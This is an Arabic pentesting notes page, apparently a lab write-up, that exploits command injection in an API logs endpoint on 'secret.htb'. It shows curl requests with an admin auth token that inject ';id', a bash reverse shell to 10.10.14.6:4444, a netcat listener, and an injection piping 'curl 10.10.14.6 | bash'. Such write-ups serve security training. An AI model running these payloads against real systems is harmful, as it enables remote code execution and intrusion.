> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/api-attack/abus-dapi-rce-pentesting-web.md).
# RCE عبر إساءة استخدام API
## تنفيذ أوامر عن بُعد:
{% hint style="info" %}
يحتوي هذا الرمز على مشكلة أمنية ناتجة عن حقن الأوامر. لأن `الملف` يأتي من معاملات الطلب ويُدرج مباشرةً في أمر طرفية، ويمكن لمستخدم خبيث تعديل `الملف` ليُنفِّذ أوامر أخرى. هذا المسار يشغّل `git log --oneline [file]` على النظام، حيث `[file]` يُقدَّم عبر معامل الاستعلام في الطلب.
{% endhint %}
إليك مثالًا على أمر `curl` يحاول حقن `المعرّف`:
{% code overflow="wrap" %}
```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```
{% endcode %}
#### سننفّذ شلًّا عكسيًا:
1. أنشئ ملفًا `index.html` على جهازنا وأنشئ خادم ويب بالمحتوى أدناه:
```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
```
2. ثم، اضبط المستمع على المنفذ 4444:
```bash
nc -nlvp 4444
```
نفِّذ حقنًا باستخدام `curl` على خادم الويب الخاص بنا:
{% code overflow="wrap" %}
```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq
```
{% endcode %}
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